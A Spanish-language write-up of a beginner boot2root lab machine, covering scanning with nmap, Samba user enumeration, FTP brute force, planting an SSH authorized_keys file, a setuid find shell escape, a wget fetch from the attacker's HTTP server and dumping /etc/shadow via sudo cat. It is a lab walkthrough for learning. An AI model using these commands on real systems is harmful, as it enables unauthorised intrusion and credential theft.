Venimos hoy con un write-up de esta maquina boorn2root, muy interesante para los principiantes. Así que VUAMOOS
Lo primero averiguar la IP del equipo para ello podemos hacer uso del netdiscovery que permite detectar de manera activa y pasiva hosts en funcionamiento enviando solicitudes ARP
netdiscover -r 192.168.0.0/24 -p #Nos deberia valer scaneo pasivo
Una vez conocida la ip del equipo realizaremos un par de scanners con el nmap , el primero, para conocer todos los puertos de la máquina
nmap -p- 192.168.0.20
Not shown: 65529 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql
Y un segundo scan más comprensivo sobre los puertos detectados
nmap -sS -sC -sV -p 21,22,80,139,445,3306 192.168.0.20
De este último scan ya hemos obtenido información útil de los servicios en ejecución en esos puertos (lo que se conoce como banner grabbing)
21/tcp open ftp pyftpdlib 1.5.5 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
Sabiendo las versiones de los servicios es interesante mirar si existe algún exploit conocido para alguna de esas versiones, para ello podemos hacer uso de searchsploit
HTTP/Port 80
Del scan sabemos que el puerto 80 apunta a la página por defecto de apache
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Siempre que consultamos un servidor web debemos mirar el código fuente en busca de fugas de información, consultar el archivo robots.txt, en caso de que exista y probar la existencia de directorios mediante el uso de crawlers o ataques de diccionario
Ejemplo de busqueda de directorios por fuerza bruta: dirb http://192.168.0.20 -w
A primera vista no parece que haya nada en este puerto
SMB/Port 139-445
Para ello usaremos la herramienta enum4Linux para enumerar datos de host con samba tanto windows como unix
enum4linux
De esta herramienta conseguimos enumerar los usuarios del sistema
S-1-22-1-1000 Unix User\nightfall (Local User)
S-1-22-1-1001 Unix User\matt (Local User)
FTP/Port 21
Lo primero que suelo probar al acceder a un FTP es si permite loguearse como anonymous, en caso de esta máquina vemos que no lo permite.
Como conocemos dos usuarios del sistema probaremos a realizar un ataque de fuerza bruta a FTP, para ello hay varias opciones en mi caso lo realizo desde un módulo de metasploit
[+] 192.168.0.20:21 - Login Successful: matt:cheese
Accedemos al FTP con esas credenciales, y vemos que el usuario está enjaulado en su directorio home, impidiendo que se mueva por el árbol de directorios, pero si nos fijamos somos los propietarios de la carpeta, por lo que tenemos permiso de escritura en ella
Así que aprovecharemos para crear la carpeta .ssh, en la que generaremos un par de claves y meteremos en esa carpeta
mv id_rsa.pub authorized_keys put authorized_keys
Ahora ya podremos loguearnos por ssh usando el par de claves generadas.
Post-explotación: Expandiendo el acceso
Una vez accedido, nos disponemos a buscar los ficheros con setuid.
EL bit setuid es asignable a ficheros ejecutables, y permite que cuando un usuario ejecute dicho fichero, el proceso adquiera los permisos del propietario del fichero ejecutado
find / -perm -u=s -type f 2>/dev/null /scripts/find
Tras realizar la busqueda encontramos un script «find» con el bit de setuid, el cual usaremos para obtener el contenido del user.txt
./find -exec whoami \;
./find -exec cat /home/nightfall/user.txt \;
97fb7140ca325ed96f67be3c9e30083d
Ahora utilizaremos la shell que acabamos de obtener mediante find ,para realizar el mismo truco de antes con las credenciales ssh
./find . -exec /bin/sh -p \; -quit
Llegados a este punto, creamos un servidor HTTP para poder descargar en la máquina víctima el par de claves generados.
python -m SimpleHTTPServer
wget http://192.168.0.14/authorized_keys
Y ya podemos entrar como el usuario nightfall a traves de ssh.
Obteniendo el root
Con el comando sudo -l podemos ver que esta en el grupo sudoers y que tenemos permitido ejecutar el comando cat sin tener que poner el password
User nightfall may run the following commands on nightfall: (root) NOPASSWD: /usr/bin/cat
Como podemos ver podemos ejecutar cat con permisos de root, realizamos un cat al archivo /etc/passwd y /etc/shadow, copiamos su contenido y passamos a crackear la password
Y listo 🙂
Deja un comentario